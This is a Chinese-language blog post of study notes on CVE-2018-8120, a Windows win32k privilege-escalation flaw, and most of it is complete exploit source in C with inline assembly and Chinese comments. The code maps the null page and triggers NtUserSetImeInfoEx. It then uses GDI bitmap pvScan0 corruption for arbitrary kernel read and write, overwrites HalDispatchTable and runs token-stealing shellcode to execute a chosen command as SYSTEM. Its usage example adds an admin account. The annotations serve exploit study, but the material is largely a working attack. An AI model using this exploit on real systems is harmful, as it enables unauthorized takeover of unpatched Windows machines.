提权:
shellcode大部分是拷贝访问令牌 token
原理: 拷贝进程pid为 4(这里为 4)的token 到当前进程的EPROCESS 中的token实现提权
漏洞的再次利用漏洞
bitmap 漏洞可以实现任意地址的读写
https://bbs.pediy.com/thread-225209.htm
http://netsecurity.51cto.com/art/201703/534434.htm
CVE-2018-8120的漏洞关键点有俩个:
1.没有检查空指针。导致可以在 null 页放 shellcode
2.有一个地址拷贝操作。bitmap 漏洞刚好要一个地址拷贝操作。
#define PSAPI_VERSION 1
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <intrin.h>
//#pragma comment(lib,"ntdll.lib")
#pragma comment(lib, "Psapi.lib")
#ifndef _WIN64
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
struct tagIMEINFO32
{
unsigned int dwPrivateDataSize;
unsigned int fdwProperty;
unsigned int fdwConversionCaps;
unsigned int fdwSentenceCaps;
unsigned int fdwUICaps;
unsigned int fdwSCSCaps;
unsigned int fdwSelectCaps;
};
typedef struct tagIMEINFOEX
{
HKL__ *hkl;
tagIMEINFO32 ImeInfo;
wchar_t wszUIClass[16];
unsigned int fdwInitConvMode;
int fInitOpen;
int fLoadFlag;
unsigned int dwProdVersion;
unsigned int dwImeWinVersion;
wchar_t wszImeDescription[50];
wchar_t wszImeFile[80];
__int32 fSysWow64Only : 1;
__int32 fCUASLayer : 1;
}IMEINFOEX, *PIMEINFOEX;
struct _HEAD
{
void *h;
unsigned int cLockObj;
};
struct tagKBDFILE
{
_HEAD head;
tagKBDFILE *pkfNext;
void *hBase;
void *pKbdTbl;
unsigned int Size;
void *pKbdNlsTbl;
wchar_t awchDllName[32];
};
typedef struct _tagKL
{
_HEAD head;
_tagKL *pklNext;
_tagKL *pklPrev;
unsigned int dwKL_Flags;
HKL__ *hkl;
tagKBDFILE *spkf;
tagKBDFILE *spkfPrimary;
unsigned int dwFontSigs;
unsigned int iBaseCharset;
unsigned __int16 CodePage;
wchar_t wchDiacritic;
tagIMEINFOEX *piiex;
unsigned int uNumTbl;
tagKBDFILE **pspkfExtra;
unsigned int dwLastKbdType;
unsigned int dwLastKbdSubType;
unsigned int dwKLID;
}tagKL, *P_tagKL;
DWORD gSyscall = 0;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
_asm
{
mov esi, tmp;
mov eax, gSyscall;
mov edx, 0x7FFE0300;
call dword ptr[edx];
ret 4;
}
}
#else
extern "C" void NtUserSetImeInfoEx(PVOID);
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG64 RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
#endif
typedef struct
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);
typedef BOOL(WINAPI *LPFN_GLPI)(
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
PDWORD);
typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource,
OUT PULONG Interval);
NtQueryIntervalProfile_t NtQueryIntervalProfile;
DWORD gTableOffset = 0;
HANDLE gManger, gWorker;
#ifdef _WIN64
ULONG64 gtable;
#else
DWORD gtable;
#endif
#ifdef _WIN64
ULONG64 getpeb()
{
#else
DWORD getpeb()
{
#endif
#ifdef _WIN64
ULONG64 p = (ULONG64)__readgsqword(0x30);
p = *(ULONG64*)(p + 0x60);
#else
// fs18是指向当前段选择子的自身也就当前teb 面 fs0 是一条链
//读取fs中的偏移 fs [0] 与 fs [0x18](self) = teb
DWORD p = (DWORD)__readfsdword(0x18);
//peb
p = *(DWORD*)((char*)p + 0x30);
#endif
return p;
}
#ifdef _WIN64
ULONG64 getgdi()
{
#else
//获取句柄表
DWORD getgdi()
{
#endif
#ifdef _WIN64
return *(ULONG64*)(getpeb() + gTableOffset);
#else
//表的偏移 gTableOffset = GdiSharedHandleTable Gdi句柄表
return *(DWORD*)(getpeb() + gTableOffset);
#endif
}
PVOID getpvscan0(HANDLE h)
{
//句柄表
if (!gtable)
gtable = getgdi();
#ifdef _WIN64
ULONG64 p = gtable + LOWORD(h) * sizeof(GDICELL); //64位直接就是地址
GDICELL *c = (GDICELL*)p;
return (char*)c->pKernelAddress + 0x50;
#else
// LOWORD()得到一个32bit数的低16bit 句柄的最后两个字节是该结构在GdiSharedHandleTable数组中的索引(=>handle & 0xffff)
DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff; //32位的地址 如:0xfffff901 43e97000
//拿到GDICELL
GDICELL *c = (GDICELL*)p;
//GDICELL结构的 pKernelAddress 成员指向 BASEOBJECT 结构
//BASEOBJECT 结构 的后面有一个特定的结构体 它的类型取决于该对象的类型。对于bitmaps来说,这是个 surface object 结构体
//要内存中是这样的
// 32bit size: 0x10
// 64bit size: 0x18
/*struct _BASEOBJECT
{
IntPtr hHmgr;
UInt32 ulShareCount;
UInt16 cExclusiveLock;
UInt16 BaseFlags;
UIntPtr Tid;
}*/
// 32bit size: 0x34
// 64bit size: 0x50
// struct _SURFOBJ
//{
// IntPtr dhsurf;
// IntPtr hsurf;
// IntPtr dhpdev;
// IntPtr hdev;
// IntPtr sizlBitmap;
// UIntPtr cjBits;
// IntPtr pvBits;
// IntPtr pvScan0; // offset => 32bit = 0x20 & 64bit = 0x38
// UInt32 lDelta;
// UInt32 iUniq;
// UInt32 iBitmapFormat;
// UInt16 iType;
// UInt16 fjBitmap;
//}
//struct {
// BASEOBJECT baseobject; //32位为0x10
// SUUOBJ surobj;
// ......
//}
//拿到
return (char*)c->pKernelAddress + 0x30; //0x30 =sizeof(baseobject)0x10 +(pvscan0偏移)0x20
#endif
}
#ifdef _WIN64
typedef unsigned __int64 QWORD, *PQWORD;
typedef QWORD DT;
#else
typedef DWORD DT;
#endif
extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0;
#ifdef _WIN64
extern "C" void shellcode08(void);
extern "C" void shellcode7(void);
#else
__declspec(noinline) int shellcode()
{
__asm {
pushad;// save registers state
mov edx, g_kthread;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread fs[0x120]= _KPRCB 再加4=_KTHREAD
mov edx, g_EPROCESS;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
//32位下
//_kthread 0x34为 KAPC_STATE结构为
//typedef struct _KAPC_STATE {
// LIST_ENTRY ApcListHead[MaximumMode]; //线程的apc链表 只有两个 内核态和用户态
// struct _KPROCESS *Process; //当前线程的进程体 PsGetCurrentProcess() //0x38 g_EPROCESS = 0x38
// BOOLEAN KernelApcInProgress; //内核APC正在执行
// BOOLEAN KernelApcPending; //内核APC正在等待执行
// BOOLEAN UserApcPending; //用户APC正在等待执行
//} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
//_kthread 0x34+4= _KPROCESS _KPROCESS为_EPROCESS的第一个字段 也就是说等于_EPROCESS
mov ecx, eax;// Copy current _EPROCESS structure 当前进程的 _EPROCESS
mov esi, g_EPROCESS_TokenOffset; //Token
mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
mov edi, g_flink;
mov ebx, g_PID;
SearchSystemPID:
mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, edi;
cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId 判断是否等于0x4
jne SearchSystemPID;
mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process //_EPROCESS.Token=SYSTEM_EPROCESS.Token
popad;// restore registers state
// recovery
xor eax, eax;// Set NTSTATUS SUCCEESS
}
}
#endif
DWORD GetCpuNumber()
{
LPFN_GLPI glpi;
BOOL done = FALSE;
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION buffer = NULL;
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION ptr = NULL;
DWORD returnLength = 0;
DWORD logicalProcessorCount = 0;
DWORD numaNodeCount = 0;
DWORD processorPackageCount = 0;
DWORD byteOffset = 0;
glpi = (LPFN_GLPI)GetProcAddress(
GetModuleHandle(TEXT("kernel32")),
"GetLogicalProcessorInformation");
if (NULL == glpi)
{
puts("[-] GetLogicalProcessorInformation is not supported.");
return (1);
}
while (!done)
{
DWORD rc = glpi(buffer, &returnLength);
if (FALSE == rc)
{
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
if (buffer)
free(buffer);
buffer = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)malloc(
returnLength);
if (NULL == buffer)
{
puts("[-] Error: Allocation failure");
return (1);
}
}
else
{
printf("[-] Error %d\n", GetLastError());
return 1;
}
}
else
{
done = TRUE;
}
}
ptr = buffer;
while (byteOffset + sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION) <= returnLength)
{
switch (ptr->Relationship)
{
case RelationProcessorPackage:
// Logical processors share a physical package.
processorPackageCount++;
default:
break;
}
byteOffset += sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);
ptr++;
}
return processorPackageCount;
}
// detect extract kernel images.
char* DetectKernel(PDWORD offset)
{
BOOL pae = FALSE;
*offset = 0;
int tmp[4];
RtlSecureZeroMemory(tmp, sizeof(tmp));
__cpuid(tmp, 1);
if (tmp[3]&0x40)
{
pae = TRUE;
}
if (GetCpuNumber()>1)
{
#ifndef _WIN64
if (pae)
{
*offset = 0x9000;
return "ntkrpamp.exe";
}
else
#endif
{
return "ntkrnlmp.exe";
}
}
else
{
#ifndef _WIN64
if (pae)
{
*offset = 0x9000;
return "ntkrnlpa.exe";
}
else
#endif
{
return "ntoskrnl.exe";
}
}
}
//HalDispatchTable
PVOID leakHal()
{
DT ntoskrnlBase;
DT HalDTUser, HalDTOffset;
HMODULE userKernel;
char * FuncAddress = 0L;
LPVOID drivers[1024];
DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
if (drivers[0])
{
ntoskrnlBase = (DT)drivers[0];
}
}
else
{
printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
}
// ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
DWORD offset = 0;
bool failback = false;
char *kernel = DetectKernel(&offset);
printf("[+] Detected kernel %s\n", kernel);
userKernel = LoadLibraryExA(kernel, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (userKernel == NULL)
{
printf("[-] Could not load %s , load ntoskrnl.exe instead.\n",kernel);
userKernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
failback = true;
if (userKernel == NULL)
{
puts("[-] Could not load ntoskrnl.exe");
return FALSE;
}
}
//获取内核分发表
HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable");
//计算偏移
HalDTOffset = HalDTUser - (DT)userKernel;
if (failback)
{
return (PVOID)(ntoskrnlBase + HalDTOffset + offset);
}
else
{
return (PVOID)(ntoskrnlBase + HalDTOffset);
}
}
//main
void main()
{
//参数个数
int argc = 0;
//参数数组
wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
puts("CVE-2018-8120 exploit by @unamer(https://github.com/unamer)");
fflush(stdout);
if (argc != 2)
{
puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
fflush(stdout);
ExitProcess(0);
}
//获取ntdll的句柄
HMODULE hntdll = GetModuleHandle(L"ntdll");
PVOID overwrite_address;
int overwrite_offset;
ULONG Interval = 0;
PVOID sc=0;
//操作系统版本信息
//typedef OSVERSIONINFOW OSVERSIONINFO;
//typedef struct _OSVERSIONINFOW {
// DWORD dwOSVersionInfoSize; //指定该数据结构的字节大小
// DWORD dwMajorVersion; //操作系统的主版本号 5代表2000以上版本
// DWORD dwMinorVersion; //操作系统的副版本号 0代表win2000. 1代表winxp
// DWORD dwBuildNumber; //操作系统的创建号
// DWORD dwPlatformId; //操作系统ID号
// WCHAR szCSDVersion[ 128 ]; // Maintenance string for PSS usage 关于操作系统的一些附加信息
//} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW;
OSVERSIONINFOW osver;
//避免优化编译器的意外的影响 初始化为0
RtlSecureZeroMemory(&osver, sizeof(osver));
osver.dwOSVersionInfoSize = sizeof(osver);
//获取函数
RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion");
pRtlGetVersion(&osver);
//操作系统的主版本号
if (osver.dwMajorVersion == 5) {
#ifdef _WIN64
g_EPROCESS_TokenOffset = 0x160;
g_EPROCESS = 0x68;
g_flink = 0xe0;
g_PID = 0xd8;
g_kthread = 0x188;
#else
g_EPROCESS_TokenOffset = 0xd8;
g_EPROCESS = 0x38;
g_flink = 0x098;
g_PID = 0x94;
g_kthread = 0x124;
#endif
}
else if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
gTableOffset = 0x0f8;
if (osver.dwMinorVersion == 0)//win2008
{
overwrite_address = (char*)leakHal(); // HalDispatchTable
overwrite_offset = 0x8; // QueryIntervalProfile
sc = &shellcode08;
g_EPROCESS_TokenOffset = 0x168;
g_EPROCESS = 0x68;
g_flink = 0xe0;
g_PID = 0xe8;
g_kthread = 0x188;
}
else
{//win7
overwrite_address = (char*)leakHal(); // HalDispatchTable
overwrite_offset = 0x8; // QueryIntervalProfile
sc = &shellcode7;
g_EPROCESS_TokenOffset = 0x208;
g_EPROCESS = 0x70;
g_flink = 0x188;
g_PID = 0x180;
g_kthread = 0x188;
}
#else
gTableOffset = 0x094;
if (osver.dwMinorVersion == 0)//win2008
{
//计算要覆盖内核分发表中的地址
overwrite_address = (char*)leakHal(); // HalDispatchTable
overwrite_offset = 0x4; // QueryIntervalProfile
gSyscall = 0x121b;
g_EPROCESS_TokenOffset = 0xe0;
g_EPROCESS = 0x48;
g_flink = 0xa0;
g_PID = 0x9c;
g_kthread = 0x124;
}
else
{//win7
overwrite_address = (char*)leakHal(); // HalDispatchTable
overwrite_offset = 0x4; // QueryIntervalProfile
gSyscall = 0x1226;
g_EPROCESS_TokenOffset = 0xf8;
g_EPROCESS = 0x50;
g_flink = 0xb8;
g_PID = 0xb4;
g_kthread = 0x124;
}
#endif
}
else
{
printf("[-] Not supported version %d\n", osver.dwBuildNumber);
ExitProcess(-1);
}
//获取申请内存有函数
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress((HMODULE)hntdll,"NtAllocateVirtualMemory");
//地址
PVOID addr = (PVOID)0x100;
//一页
DT size = 0x1000;
if (!NtAllocateVirtualMemory) {
printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError());
fflush(stdout);
ExitProcess(1);
}
//映射0页内存 MEM_RESERVE保留 MEM_COMMIT提交
if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
{
puts("[-] Fail to alloc null page!");
fflush(stdout);
ExitProcess(2);
}
//创建窗口站对象与调用进程相关联并将它分配给当前会话
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
if (!hSta)
{
printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
fflush(stdout);
ExitProcess(3);
}
//改变进程关联的窗口站
if (!SetProcessWindowStation(hSta))
{
printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
fflush(stdout);
ExitProcess(4);
}
unsigned int bbuf[0x60] = {0x90};
//RtlSecureZeroMemory(bbuf, 0x60);
//创建俩个位图
HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
PVOID mpv = getpvscan0(gManger);
PVOID wpv = getpvscan0(gWorker);
#ifndef _WIN64
printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv);
P_tagKL pkl = 0;
//用作参数比较
pkl->hkl = (HKL__ *)wpv;
//把wpv拷贝到mpv
//设置漏洞拷贝的目的地址,NtUserSetImeInfoEx 函数会把它的参数( WINDOWSTATION->spklList[index]->tagKL
//->piiex这个成员里
pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));
IMEINFOEX ime;
RtlSecureZeroMemory(&ime, sizeof(IMEINFOEX));
#else
printf("[+] Get manager at %llx,worker at %llx\n", mpv, wpv);
char* pkl = 0;
*(DT*)(pkl + 0x28) = (DT)wpv;
*(DT*)(pkl + 0x50) = (DT)mpv - sizeof(PVOID);
char ime[0x200];
RtlSecureZeroMemory(&ime, 0x200);
#endif // _WIN32
fflush(stdout);
// Initialize exploit parameters
//设置参数ime结构的第一个字段 等于 wpv
PVOID *p = (PVOID *)&ime;
p[0] = (PVOID)wpv;
p[1] = (PVOID)wpv;
DWORD *pp = (DWORD *)&p[2];
pp[0] = 0x180;
pp[1] = 0xabcd;
pp[2] = 6;
pp[3] = 0x10000;
#ifndef _WIN64
pp[5] = 0x4800200;
#else
pp[6] = 0x4800200;
#endif // _WIN32
// trigger vuln
// bp win32k!SetImeInfoEx
// bp win32k!NtUserSetImeInfoEx
// modify the pvscan0 of manager!
puts("[+] Triggering vulnerability...");
fflush(stdout);
fflush(stderr);
NtUserSetImeInfoEx((PVOID)&ime);
//QueryIntervalProfile
PVOID oaddr = ((char*)overwrite_address + overwrite_offset);
#ifndef _WIN64
sc = &shellcode;
printf("[+] Overwriting...%lx\n", oaddr);
#else
printf("[+] Overwriting...%llx\n", oaddr);
#endif // _WIN32
fflush(stdout);
PVOID pOrg = 0;
//使用漏洞将 Worke的 rpvScan0 偏移量地址写入 Manager 的 pvScan0 值 也就是 Manager 的 pvScan0 值现在指向 Worke的 rpvScan0
//使用 Manager 上的SetBitmapBits 来选择地址 也就是设置 Worke的 rpvScan0的值为选择地址
//然后在 Worker 上使用GetBitmapBits/ SetBitmapBits来读取/写入上一步设置的地址
//先设置oaddr到pvscan0 也就是pvscan0指向oaddr
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
//获取旧的地址也就是原理函数地址
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
//设置shellcode 到pvscan0指向的地址
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);
//获取函数
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile) {
fflush(stdout);
fflush(stderr);
printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
ExitProcess(2);
}
puts("[+] Elevating privilege...");
//调用
NtQueryIntervalProfile(0x1337, &Interval);
puts("[+] Cleaning up...");
//把原理的函数地址设置回去
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
byte buf[40960] = { 0 };
STARTUPINFOW si;
PROCESS_INFORMATION pi;
DWORD bytesRead;
RtlSecureZeroMemory(&si, sizeof(si));
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&sa, sizeof(sa));
int br = 0;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
fflush(stdout);
fflush(stderr);
ExitProcess(5);
}
wprintf(L"[+] Trying to execute %s as SYSTEM...\n", argv[1]);
si.cb = sizeof(STARTUPINFO);
GetStartupInfoW(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.lpDesktop = L"WinSta0\\Default";
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
wchar_t cmd[4096] = { 0 };
lstrcpyW(cmd, argv[1]);
//创建新的进程
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
fflush(stdout);
fflush(stderr);
CloseHandle(hWrite);
CloseHandle(hRead);
wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
ExitProcess(6);
}
CloseHandle(hWrite);
printf("[+] Process created with pid %d!\n", pi.dwProcessId);
while (1)
{
if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
break;
br += bytesRead;
}
// HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
// WriteConsoleA(h, buf, br, &bytesRead, 0);
puts((char*)buf);
fflush(stdout);
fflush(stderr);
CloseHandle(hRead);
CloseHandle(pi.hProcess);
}
poc下载:
https://github.com/alpha1ab/CVE-2018-8120
分析报告可以参考:
http://www.freebuf.com/column/174182.html
http://www.freebuf.com/column/173797.html
原文地址:http://blog.51cto.com/haidragon/2155715
时间: 2024-11-01 18:15:55